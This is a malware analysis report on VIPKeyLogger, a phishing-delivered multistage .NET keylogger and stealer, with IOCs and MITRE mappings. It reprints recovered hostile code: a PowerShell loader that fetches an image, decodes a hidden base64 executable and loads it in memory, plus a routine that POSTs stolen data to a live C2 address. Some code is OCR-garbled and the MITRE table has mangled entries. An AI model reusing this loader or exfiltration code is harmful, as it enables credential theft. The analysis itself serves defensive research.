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VIPKeyLogger: Unveiling a multistage Keylogger and stealer



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INTRODUCTION

Email phishing remains one of the most effective techniques used by threat actors. This allowsthreat actors to deliver malicious payloads through systematically executed attack chains. In arecent campaign, threat actors have been observed exploiting phishing emails to deliver a .NETcompiled keylogger designed to steal sensitive user information. It uses a multi-stage deliveryprocess that highlights the attackers' intentional use of trusted techniques to hide from securityand achieve their goals.

This research paper focuses on the initial analysis and examines the various stages of theinfection chain, starting with a deep dive into the Malicious RTF documents. We will then lookinto the common Tactics, Techniques, and Procedures (TTPs), such as the use of maliciousVBScripts and loaders to deploy the final Payload. These methods facilitate the in-memoryexecution of the VIP Keylogger.

Infection Chain:

The email contains an RTF (Rich Text Format) file. Upon opening, it connects to a URL,downloads and executes a VB Script. This VB script decrypts an embedded URL, establishes aconnection and downloads a second VB Script. The second VB script executes a PowerShellscript. This PowerShell script downloads an image file which contains the loader. This loader isresponsible for decoding and execution of the second loader. This loader decodes and executes asecondary executable, which further loads malicious Dynamic Link Library (DLL) file. ThisDLL file contains a function responsible for deploying the final payload, a keylogger designed tocapture sensitive user information.



Fig 1: Infection Chain

Phishing Mail:

The initial access point in the attack chain is a phishing email, containing a malicious RTF. Asyou can see in figure 2, the phishing email masquerading as buyer of the product contains anattachment RTF file "Order Inquiry N TM05.doc".

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Fig 2: Phishing email

RTF File:

Upon opening malicious RTF file, it connects to a specified URL. This connection allows the RTF file to download a VBScript from the remote server, as shown in figure 3. The downloaded VBScript is then used to execute further malicious activities.



Fig 3: Downloads the .VBS file

VB Script 1:

The downloaded VBScript decodes an obfuscated URL embedded within its code as shown infigure 4. The decoded URL is shown in figure 5. Once decoded it establishes a connection to theURL which downloads the second VBScript from the server. This VBScript is used to carry outfurther malicious activity.

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Fig 4: Obfuscated URL



Fig 5: decoded output

VBS script2:

The second script contains a PowerShell command which contains an image link followed by the command to download the image file. And invoke the specific method. This method is designed to load another executable.

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Fig 6: Obfuscated PowerShell Script

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\$webClient = New-Object System.Net.WebClient;
\$imageEytes = \$webClient.DownloadBata(\$imageUtl);
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\$endFlag = <<EASE64_END>;
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\$startIndex = \$startTlag.Sength;
\$base64Length = \$dendIndex - \$startIndex;
\$base64Length = \$startTlag.Sength;
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Fig 7: decoded output from VBS

The PowerShell script performs Multiple operations to extract and process data appended withinan image file. Explained below,

Downloading Image from hardcoded URL:

A link to an image file hosted on Google Drive is stored in the \$imageUrl variable.

\$webClient = New-Object System.Net.WebClient;

\$imageBytes = \$webClient.DownloadData(\$imageUrl);

\$imageText = [System.Text.Encoding]::UTF8.GetString(\$imageBytes);

A WebClient object is created to download data, which is raw byte data and stored in the\$imageBytes variable. After that it was converted into a string using UTF-8 encoding in\$imageText.

Decoding Payload:

\$startFlag = <<BASE64_START>>;
\$endFlag = <<BASE64_END>>;
\$startIndex = \$imageText.IndexOf(\$startFlag);
\$endIndex = \$imageText.IndexOf(\$endFlag);
\$startIndex -ge 0 -and \$endIndex -gt \$startIndex;

Flags are added to locate the section of hidden data within the image text. The index of the startand end flags within the extracted text are stored in \$startIndex and \$endIndex. Some checks forof startindex and endindex.

Decoding the Reversing Base64 String:

\$startIndex += \$startFlag.Length;

\$base64Length = \$endIndex - \$startIndex;

\$base64Command = \$imageText.Substring(\$startIndex, \$base64Length);

\$base64Reversed = -join (\$base64Command.ToCharArray() | ForEach-Object { \$_ })[-1..-(\$base64Command.Length)];

\$commandBytes = [System.Convert]::FromBase64String(\$base64Reversed);

Then it extracts the Base64-encoded payload from the image text, storing it in\$base64Command. The Base64-encoded string is reversed stored into \$base64Reversed. Thereversed Base64 string is decoded using FromBase64String. And data is stored in\$commandBytes. Decoded output is a PE file you can see in figure no. 8.



Fig 8: base64 reverse txt to EXE

Loads the Decoded Payload as Assembly and Invoke a Method:

\$loadedAssembly = [System.Reflection.Assembly]::Load(\$commandBytes);

\$vaiMethod = [dnlib.IO.Home].GetMethod(VAI);

\$vaiMethod.Invoke(\$null, @(txt.dstep/pop/ue.prgxamygrene.gig//:sptth, desativado,desativado, desativado, 1, dxdiag, desativado, desativado, desativado,desativado, desativado ,1, desativado));

The binary data is loaded into memory using the System.Reflection.Assembly::Load method.This executes the payload directly in memory without writing it to disk. Then GetMethodfunction retrieves the method named VAI from a dnlib.IO.Home, and the Invoke VAI functionwith provided arguments.

Loader 1 (DLL extracted from Image file):

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Fig 9. Extracted dll.

The extracted DLL contains the method named VAI, which is used to load another executableinto a process using the process hollowing. The VAI function has multiple arguments on thatbasis the operation is executed, like it contains value for persistence, add as a startup task andadd startup registry as shown in fig no. 10.



Fig 10. VAI function



Fig 11. Exe is downloaded and passed to method tools.Ande

Figure no 11 illustrates that "address" stores reversed URL and with help of web client itdownloads the data in "text" string. The string contains another loader which is responsible forfurther malicious activity. This loader along with the path of "dxdi-ag.exe" is passed as anargument to the "Tools.Ande" method. This method does the process hollowing with the targetedprocess. Here the target process is dxdiag.exe along with decrypted payload is passed to amethod "a" and further it creates the process as shown in figure 12.Fig 12:



Fig 12: Targeted process is created

Further, it uses NtUnmapViewOfSection and attempts to unmap the memory section ataddress of newly created process. After this, memory is allocated in the target processusing VirtualAllocEx, where the loader code is then written using WriteProcessMemory.With the use of SetThreadContext it adds the entry point to the injected code and finally,the process is resumed with ResumeThread. The process is demonstrated in Figure 13 and14.



Fig 13: Unmap section and memory allocation



Fig 14: Resumes the targeted process

Loader 2:

The Exe file acts as a dropper as it is injected by the Loader 1 dll. It has a .NET Reactor Protecter and is a VC++ compiled file.

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Fig 15: .NET Reactor Protector

We can see in figure 17, the loader 2 exe decrypts the loader 3 DLL, which is responsible for execution of final malicious payload. In figure 16 the resource rcdata section contains encrypted form of the Loader 3 which is later decrypted and executed.

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Fig16: encrypted data in resource section

In the resource data section, it contains encrypted data of the second payload. Which is later decrypted in the below fig.



Fig 17: Decrypted DLL

It also tries to disable windows defender and antispyware to evade detection, ensuring it can execute final payloads malicious activities undisturbed (figure 18).



Fig18: disable windows defender and antispyware

Loader 3:

The Loader 3 dll file contains the Keylogger payload in its resource folder which is directly loaded with the help of "Assembly.Load" method. As we can see in Figure 19, it collects resource data with name "_" and then adds it to an array and further loads it. Figure 20 and 21 illustratse the resource section and embedded payload.



Fig 19: Loading keylogger



Fig20: Resource with name"_"



Fig21: Resorces containing final payload

Final Payload VIPKeyLogger:

The final payload is a VIPKeyLogger which is similar to Snake keylogger.

VIPKeyLogger is a malware designed to monitor and record keystrokes on an infected system. It captures sensitive data, including passwords and personal information, often without the user's knowledge. The keylogger operates covertly in the back-ground, making it difficult for the victim to identify. This type of malware is commonly used for espionage or stealing private data for malicious purposes.

1. Stealer Activity From the browsers:

A. Email Clients and Communication tool:

It targets Email Clients and Communication Tools, **Outlook, Foxmail, Thunderbird, PostBox, Pidgin, Discord,** etc. And try to steal sensitive user data, such as login credentials.

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<pre>UTFREncoding utfREncoding - new UTFREncoding(); if ((registryKey2.GetValue("Email") != null) & ((registryKey2.GetValue("IMEP Password") != null) (registryKey2.GetValue("POP3 Password") != null) (registryKey2.GetValue("HTTP Password") != null) (registryKey2.GetValue("SMTP Password") != null)))</pre>
foreach (string name2 in array)

Fig22: Email Credential details

B. Browser Login Details

It also checks all the browsers login details such as origin URL, its login id and password.

List of browsers targeted:

- Popular: Chrome, FireFox, Yandex, Opera, Brave, Microsoft Edge
- Lesser Known: Cent, xVast, Nichrome, WaterFox, CocCoc, Chedot, Amigo, Sputnik, Uran, Superbird, Kometa, SeaMonkey, Falkon, Vivaldi, Torch, Slimjet, CoolNovo,

Sleipnir, Chromium, Citrio, BlackHawk, Ghost, Iridium, PaleMoon, Blisk, Epic, Slim, IceDragon, CyberFox, SalamWeb, IceCat



Fig 23: Login details of the websites form chrome browser

C. Browser Cookies Details

It also tries to steal the cookies from the browsers

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	gclass.method 6("cookies");
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	for (int i = 0; i <= num; i++)
	<pre>string text = gclass.sethod_9(i, "host_key");</pre>
	string text2 = gclass.method_9(1, "name");
	<pre>string text3 = gclass.sethod_9(i, "path");</pre>
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Fig 24: Cookies from browsers

D. Credit Card Details

It also tries to check credit card details from the browsers such as name on card, card number and expiration date as you can see in fig 25.



Fig 25: Credit card details

E. Browser Autofill Details

This malware also ability to steal your autofill details from your browser like name and value



Fig 26: Autofill details from Edge browser

F. Browser Details from Top Visited Sites

It also gathers details of top visited sites from the browser such as URL, url_rank and title.



Fig27: Gathering data of top visited sites

G. Download details from Browser:

It also has the ability to gather details from the browser history about the download contains such as url tab and target path.



Fig 28: Downloaded details from the history of browser

2. Keylogger activity.

It also checks the key stokes that have been used by the user. Fig. no 29 illustrates that the logging function exposes the names of the keyloggers, but the code remains almost identical, even down to the variable names.

private static void smethod_40(object sender, Class6.KeyLogger_EventArgs e)
{
 if (Operators.CompareString(Class6.string_2, Class6.KeyLogger_0.CurrentWindow, false) 1= 0)
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 Class6.string_2 = Class6.keyLogger_0.CurrentWindow;
 Class6.smethod_42(string.format("\r\n[-+ {0} --]\r\n", Class6.keyLogger_0.CurrentWindow));
 Class6.smethod_42(string.format("\r\n[-+ {0} --]\r\n", Class6.keyLogger_0.CurrentWindow));
 }

Fig 29: keylogger function.

3. Tries to steal victims' location:

It also shares the county code, region name, longitude latitude and time zone of the victim.

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Fig 30: Checking Victims location.
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4. Data Exfiltration From Telegram:

It also ability to exfiltrate the data of the telegram used by the victim



Fig 31: tries to steal telegram details

5. Clipboard and screenshot hijacking

It also steal data from clipboards and screenshots as shown in fig no 32 and 33.



Fig 32: Clipboard data of user.



Fig33: Screenshot function

6. C2C connection

After collecting all the above data, it tries to post all the details to c2c server.

Hxxp[:]//51.38.247.67:8081/_send_.php?L

(Operators.CompareString(Class6.string_25, "True", faise) == 0)	
<pre>byte[] byte_ = File.ReadAllBytes(Class6.string_15); if (Operators.CompareString(Class6.string_26, "%Server%", false) == 0)</pre>	
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ServicePointManager.Expect100Continue = false;	
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tis12;	
<pre>string str = HttpUtility.UrlEncode(Class6.string_15);</pre>	
<pre>string s = "c=" + Class6.string_17 + "&myFile=" + str;</pre>	
<pre>WebRequest webRequest = WebRequest.Create("http://51.38.247.67:8081/_send_php?L");</pre>	
webRequest.Nethod = "POST";	
<pre>byte[] bytes = Encoding.UTF8.GetBytes(s);</pre>	
webRequest.ContentType = "application/x-www-form-urlencoded";	
webRequest.ContentLength = (long)bytes.Length;	
<pre>Stream stream = webRequest.GetRequestStream();</pre>	
<pre>stream.Write(bytes, 0, bytes.Length);</pre>	
stream.Close():	
WebResponse response = webRequest GetResponse();	
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Fig34: C2C connection

7. Antibot feature

Snake includes an Antibot feature that disables the malware if it detects that the infected system uses a blocklisted IP address or hostname.



Fig 35: Antibot feature.

8. Post infection

After infection it tries to uninstall itself by using the arguments as in below figure.



Fig 36: Self Delete after infection.



Conclusion:

VIPKeyLogger is a highly stealthy malware designed to monitor and record keystrokes, often used for stealing sensitive data like passwords and personal information. Its ability to operate covertly makes it challenging to detect and remove. The malware is commonly distributed via phishing emails in the form of malicious attachments, or software cracks. Effective cybersecurity practices, such as avoiding suspicious downloads and maintaining updated antivirus software, are crucial to prevent infection. Vigilance and regular system scans are key to mitigating the risks posed by such threats.

MITRE ATT&CK:

Tactic	Technique ID	Name
Obfuscation	T1027	Obfuscated Files or Information
Execution	T1204.002	User Execution: Malicious File
Executiont	П059.006	Command and Scripting Interpreter: Python
Screen Capture	ТІІІЗ	Screen Capture
Gather Victim Host Information	T1592	Collects system info
Input Capture	T1056	Keyloggin
Defense Evasion	TI055.002	Process Injection: Portable Executable Injection
Content Injection	T1659	Injecting malicious code into systems
Command and Control	T1071.001	Application Layer Protocol: Web Protocols



IOCs:

MDE	Filonomo
MD5	Filename
D0F2558AF01FAFC92DF8D82C60DEB2BF	RTF file
DB28D13CC2983DE1B94EE9ACDDC17CB4	VBSI
C579662689BE00389AFF0D977DB0FEAD	VBS2
B112BE614F6DE7982AE3919227680B6	Loaderl
D27B5973DE02A0394E1B3CCA3EDDF085	Payload
URLs	
hxxp[:]//51.38.247.67:8081	
hxxp://xls.energymaxgrp.eu/tok/onstraints.vbs	
hxxp://paste[.].ee/d/sv5cW	
hxxps[:]//gig.energymaxgrp[.]eu/pop/petsd.txt	



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